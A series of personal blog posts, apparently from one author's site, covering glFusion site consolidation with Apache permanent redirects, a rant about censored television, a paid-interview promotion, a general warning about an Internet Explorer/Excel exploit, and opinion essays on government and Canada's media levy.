Both have been updated to the latest glfusion 1.1.5 version

They are hosted on the same virtual Linux machine, completely controlled by me including mysql and shell access. If you're trying to do this without either of these you may have to jump through some extra hoops.

One major item of note is that I'll be using a "RedirectPermanent" line in the web server configuration file for the domains I'm consolidating to the one Digital-Rag.COM domain - so searches and such that try for a page in the old domain will end up going to the page in the new one - so the page should be there or the viewer will get a 404 Page not found error and have to look again. In fact, this is very straight forward with glFusion since the link to the story (or static page) is via the ID field, so if the ID field for a story is identical in the new database, the story should just come up. Duplicate IDs are not allowed - so if I try to copy a story from one of the old domains to the new one I'll get an error and the story won't be copied.

I've decided to move all the stories to the blog.pacdat.net site and then re-name it to Digital-Rag.com since it has the most stories (over 250) in it compared to the other two sites (a couple of dozen each). I'm going to do it manually since this will give me some time to do minor corrections and check for duplicates, etc. If I were to do it via SQL I'd have to ensure that the topic ID for each story was either modifiec to fit the different list in the destination site, or to be unique (and add the relevant topic to the new site too). This is what I'll be doing for a customer site that we're doing a similar job on - they have several hundred complex stories to move to the new (old) site and integrate with the 5000 or so there. I'll post details on how we do this too.

So I have two browser windows open - one on each of the old and new sites (old is copy from, new is copy to)

I've opened up each of the 20 stories I'm copying in a separate tab in the "edit" mode. As I do each one I'll close that tab so I know it is done. I have two monitors side-by-side (actually, I have 5 but that's a different story) so I can see both edit sessions at once. You can do this on a single screen but it is more awkward and a bit slower.

Open the "Create New" screen - copy the Title and ID (blank out the pre-generated ID in the new story screen - this is the key to getting things working correctly when searches come to the old site and get the new one instead!)

Click on "Show All" tab on both new and old - you'll want to modify the date on the new one to match the old and this tab will likely have scrolled off the screen by the time you need it.

Pick the topic to match the old one. This can be a concern if someone comes to the site to a "search" screen as the topic ID will be different unless you make new topics with exactly the same topic ID. Generally this is not an issue since most searches will come directly to the page via its own ID.

Copy the Intro (CTRL-A CTRL-C) and place your mouse in the INTRO on the new screen and paste (CTRL-V)

Do the same for the Body Text. Note that you normally will NOT have to do this as HTML (i.e. switch the edit mode to HTML from WYSIWYG mode) - the HTML should just "come along" with the copy. If you do have to copy in HTML mode make sure the destination is also in HTML mode or you'll simply see the HTML when you want to really see the resulting bold and formatted text. Fixing this later is actually as simple as copying the text version of HTML, switching to HTML mode, deleting what is there and pasting the "real" HTML in instead.

Don't forget to turn off the "Draft" flag if it is set on by default (mine is)

Check the permissions and other settings and click "Save" - done!

Do this for all the other articles in the old site.

Now for the interesting parts - Search Engine Optimization (SEO) and how to consolidate two sites so the search engines don't get upset.

The first thing to understand is that you can't just have two sites with the same content - nor can you just alias the old site's name to the new one - the search engines will consider them identical and start discounting both sites' ranking.

The way to have a site properly "aliased" is to use the "RedirectPermanent" construct in the web server (in this case Apache)

In my case the line for the changeover went into the config include file for the "old" domain of blog.pacdat.net as follows:

RedirectPermanent / http://digital-rag.com/

This does two things - it immediately redirects all requests to the new site exactly as if the URL had been typed with the name of the new site - and it tells the requestor this is a permanent change (301 return code) so the web crawlers know to update their tables and drop the reference to the old site and replace it with the new one.

The key here is that since the URL that would retrieve the transferred pages refers to them with their story ID - the page should display correctly with no other work needed - and it does. Google Analytics is showing all the traffic going to the Digital-Rag.com site now - and the instances of 404 Page Not Found errors has not gone up. Now I'll take the old site out of analytics and the webmaster tools sites and other places. I'll also change the DNS entries so the old domain name is a CNAME for the new one - so if there are any changes in the future it will simply follow along. And of course there are notes in the various config files telling me what I did and why - leave breadcrumbs because memory is not always 100% :)

See Consolidating glFusion Sites Part II for how to do this with a site that has a lot of content - in this case thousands of articles.

Tag: glfusion linux redirectpermanent cname geeklog content management

Television and Relevance

Richard Pitt — Mon, 07 Sep 2009 08:53:38 -0700

I'm sitting in my office (about 3' from my bedroom, but that's not really germain to the story) watching the 1999 version of Thomas Crown Affair for the second time this evening - and about the 100th time or more.

You see it's one of my favourite movies - and if/when it comes on the regular cable channels I get and I have nothing else to watch, I'll watch it - but...

I've seen it from the DVD - in fact, I watched it at the movie theatre when it first came out - and many (I'm getting to the point of saying most) of the channels I get on my basic + some extras package manage to run the "moral majority's" version without the minor nudity and sexual inuendo that makes the plot really hold together.

Tonight I got to the point where I went rumaging through my kids' old stuff and found a DVD player they'd abandoned when they moved out and hooked it up - you see I have a cable decoder but nothing else, not even a PVR in my office - haven't for a couple of years now.

I should note that the movie began before 9PM local time - but...

The point is that traditional TV - the stuff that the CRTC looks after - is becoming more and more irrelevant in today's world. My kids, in their mid 20's and now moved out (and one married) grew up with the internet in the house - from the age of about 7 (yes, I've been at it that long) so they're immune to what it holds - at least I ensured that they were to my and their satisfaction.

Don't get me wrong - Rene Rouseau's nipples are not the point - they cut out minutes of plot that showed minimal sexuality IMHO - all in the name of pandering to the masses.

Well, piss on 'em - I'm part of the masses and I'm not happy. TV is no longer relevant. Many of today's best shows get more revenue from their online showings than they do from the traditional TV. The sooner the TV stations wake up and recognize this, the better - they're fighting for their lives; witness their plea to the CRTC to get some of the cable revenue that the non-broadcast channels are getting. The non-broadcast channels are not as prone to "moral" suasion by the moral (minority) pushers of our current time - so maybe in the long run they'll listen and push the borders some.

In the mean time - maybe I'll learn how to download videos (OK, I know how - I just don't currently do it - but I'm tempted)

Hey - TV - wake up and smell the money!

ps. back in 1972 to 1974 when I was in New Zealand and Australia I had the pleasure of seeing women on TV naked from the waist up on normal TV ads (and similar views of men) - 35+ years ago!

Hey - idiots - war is pornography, nudity and sexuality is simply an aspect of life - if you think otherwise then you should pull your head out of your ass and really take a look around this world of ours. In the words of my hippy peers, "make love, not war"

Inexpensive Web Interviews Pay Big Dividends

Richard Pitt — Mon, 07 Sep 2009 08:49:24 -0700

The internet revolution is making its mark again - this time in the cost and practicality of the paid personal interview.

In the past the typical self-serving interview, paid programming or info-mercial scenario was the realm of either those with very high marketing budgets or very low standards. It just was not a reasonable vehicle for the typical small business with one or two locations and either a typical service or hard-goods product line. Maybe this kind of business could afford to do a 30 second commercial with the owner as the lead, but more likely they were limited to trying to get a bit article in the local paper or a brief interview on radio when their company sponsors a baseball team or the owner puts in 50 years or some such.

Today this is no longer the case. The cost of presenting self-serving video content has plumetted to the point where everyone should be doing it. Of course there are good and bad ways of doing it, and sometimes it's still a good thing to leave it to the professionals, both for production, and for the interviewer.

That's certainly the reason that P-Zip Marketing and David Ingram have teamed up to create a wonderful vehicle for self-promotional video/internet interviews. David's "Around the World" weekly video-cast on his www.david-ingram.com web site provides an excellent background to the business or businessman interested in getting the word out about who they are and why people should deal with them.

While David usually does a couple of hours each week with non-paying guests or as a call-in for his tax business, some of the guests pay to be there. His interview style is usually very informal, and hist raport with his guests is exceptional. His business knowledge and eclectic background serve to elevate and support his guests in ways that many interviewers simply cannot achieve.

With packages ranging from $1000 for a basic, live, one hour interview, the pricing is very competitive considering this includes hosting the interview in the show's archives for at least one year from the interview date.

Other options include availability of higher resolution versions (the show is done at 350Kbps in Flash) with custom editing as well as external hosting, different hosting formats (such as Windows Media) and or syndication. They'll even do the interview in high definition at your own place of business if you'd like.

All in all, considering that just showing such an interview on a TV station at 4AM for an audience that may or may not exist might cost several thousands of dollars, this type of self-promotion is a winner for the small business struggling to catch the eye of today's skeptical public.

You can contact either P-zip Marketing or David Ingram to arrange your interview

threat level YELLOW - Microsoft Excel via Internet Explorer exploit happening

Richard Pitt — Mon, 13 Jul 2009 15:19:48 -0700

The Internet Storm Center has just raised their threat level to Yellow
(from green) due to an active exploit "in the wild" of a major security
problem with Internet Explorer and the components that allow Microsoft
Office documents like spreadsheets (Excel) to take over your computer.

The details are at http://isc.sans.org/diary.html?storyid=6778
but the bottom line is that until Microsoft puts out a fix and your
machine is patched (you do have automatic updates on, don't you!!!) it
is possible that you may receive a Microsoft document with embedded HTML
code in it that will infect your computer. This can be done simply by
visiting the wrong web site and clicking on an ad or other link.

I've long said that before you open any document you receive you should
check with the person who sent it to you to ensure that they really did
send it - and that THEY MADE IT - not just passed it on from someone
else.

There are all manner of PowerPoint and Word documents being sent around
with pictures and such in them that are inspirational or funny or timely
or...

BUT - the bad guys are sending stuff like this out too - and they can
and many times do contain viruses. This is just the latest of a bunch of
exploits that attack Microsoft's software and web facilities.

Just remember - Microsoft's systems were originally designed to work in
a FRIENDLY network environment - they simply did not design them to be
used in the hostile environment of the internet- that was added later,
and they're still trying to fix all the holes and design problems that
don't fit with a hostile network environment.

If you really MUST open these things I cannot urge you enough to
download and install Open Office (http://download.openoffice.org) -
that's what I use, and it is not as closely tied into the operating
system as the Microsoft Office components are so has far less likelihood
(not none - just far less) of being a virus carrier.

richard

Richard's View of Government

Richard Pitt — Sun, 12 Jul 2009 10:28:25 -0700

The 2005-2006 round of the Media Levy proposal by CPCC (Canadian Private Copying Collective) is now out. According to the copy of the Supplement to the Canada Gazette I received (as a former objector) from the Copyright Board (page 4, top) "The tariffs proposed by CPCC for the year 2005 are identical to the tariffs certified by the Copyright Board for the years 2003 and 2004"

I'll be filing my objection before the deadline of June 9, 2004, and you may think about doing the same. Last round we had 100 objectors initially, which winnowed down to about 30 by the time the hearings actually went ahead - mostly due to the fact that many didn't really understand the objection process and how onerous it might be. The comments of the 70 who dropped out of the formal process were still "heard", and I believe many were taken into consideration - the rest were likely "outside of the jurisdiction of the Board" due to being of the nature of rants against the concept of the levy at all.

This year's round promises to be far different from that of the last one. Last time the increases asked for were downright exorbitant, as was the proposed extension of the levy to media normally used for purposes other than audio (camera flash-cards, etc.)

This year I expect that external factors affecting the market as well as new studies and information on the actual effects of "downloading" on music sales will be the focus of efforts by the objectors to roll back the current levy. I don't think we can rest on our laurels and simply accept the status quo. In addition, there are a number of treaties that Canada is or soon will be signatory to that tilt the playing field farther in the direction of Digital Rights Management facilities and laws that will make private copying all but unfeasible. The CPCC needs to be told (and through them the music industry) "DRM or Levy - pick one." If, as seems to be the case, they are picking DRM and enforcement, then they must back off on the levy. Too bad for CPCC.

My Web Log at blog.pacdat.net has a Media Levy section where I'll be posting items as I find them. If you have information you want to share or opinions on what I have to say (or articles you want to post yourself) please visit me there.

richard

Some Definitions

Pick your poison - from benevolent dictator to elected representative. Multi-level (local, regional, national) or direct representation.; A dictatorship is not a government since it ignores the precept of doing things in the best interests of the individuals governed. The dictator only does things that are in the dictator's interests. Note that in some instances Kings and Queens were in fact dictators, however most learned that they should in fact be "benevolent dictators" and inject altruism into their governing. The truly benevolent dictator though can be determined because they really don't want the job.; The individual must also include the corporation and other legal forms where groups act as one for specific purposes.

Public Works

A tomb for the emperor is not a beneficial public work. Public works should be done to lower the friction involved in the daily lives of the population. Friction can be anything from bumps in the path they must traverse from dwelling to place of work (roads, railways, transportation in general), to creating places for foreigners to land, meet and do business (airports, shipping ports, etc.)

Public works are of necessity larger than any person can accomplish, so are either the purview of corporations or government. If there is the possibility of competition, then government should encourage it and otherwise keep out of the way.

The concept of "... not in the best interests of the individual to do" means that government should only get involved in public works if the economics (amount of capital, cost/benefit ratio, etc.) doesn't favour corporations getting involved in competitive ways. If there is only room for one entity to do something, then government should either be the one or should ensure that the one that does "get the franchise" does not hold the public up for ransom. This for example is why in some countries the government got into the telephone business (along with the postal system to create the P&T) and in others (notably here in North America) the business was a regulated monopoly for many years.

Policing

In the broad spectrum of a population there are some who will turn to gain at the expense of others. They will steal instead of producing. This friction in the system lowers the overall population's productivity but is next to impossible to deal with by the individual if the society is larger than a few people. A specific policing system is the solution to this problem.

Being able to carry on with daily activities without fear for personal safety allows the individual to be more productive and boosts the overall productivity of the population to the benefit of all. If the cost of providing that secure feeling is less than the gain in productivity, then it is in the population's best interests for the security to be provided. This is the basis for having police (and courts and the rest of the justice system)

At some point the cost of providing "infinite" security approaches the amount that the overall population gains by having security compared to not having it. The cost of policing must be balanced against the cost of not having it. One of the costs of not having security is the cost of mitigating crime. Insurance mitigates crime to some extent by spreading the loss across all those who pay insurance.

Today, my insurance costs are going up faster than my taxes (which pay for policing amongst other things) which leads me to think that we are not spending enough on policing.

Insurance

We here in Western Canada are currently (August 2003) going through the worst forest fire season on record. Hundreds of homes have been burned in "interface fires" where forest meets the city. Government (both provincial and federal) has stated that it will provide relief to those affected which in essence is the same as insurance. We all pay into our governments through taxes and when the time comes, government provides the assistance to those affected by circumstances outside the individuals' control.

Many of the homes had specific fire insurance. At the same time, some of the homes were not insured. Some due to specific decision by their owners and some because private insurance would not provide coverage at a reasonable rate due to lack of local fire fighting facilities in general.

Securing the Country's borders

I can't watch the sea-ports in Nova Scotia to keep thugs and potential conquerors out. The people in New Brunswick can't watch the BC Airport. Someone has to extend security of our chosen land from shore to shore and border to border. The central government's role is to protect the population from outsiders when appropriate. Along the way, a national armed forces can provide a pool of people trained in disaster relief and available as an adjunct to the internal security and civil forces in case of exceptional circumstances - fire (Kelowna/Kamloops this year), flood (Quebec last year), earth quake (any time now). Now that we have world commerce and our diplomats are on foreign soil where they are exposed to other countries' less than civilized behavior, the troops must be called upon to protect there too.

Ensuring the population's economic security

This is a difficult one for me. On the one hand I'm in favour of minimal interference by government in commerce and economics because I believe that anything they do acts as a brake on some part of the economy. On the other hand, sometimes I think the economy needs a brake now and then.

Encouraging the population's longevity

This aspect includes many different areas - from protection against outside forces to inspection of food products to an involvement in the health industry at some level.

This article is a work in progress - I may even move it to a topic of its own - richard

Media Levy 2005-2006

Richard Pitt — Sun, 12 Jul 2009 10:27:26 -0700

richard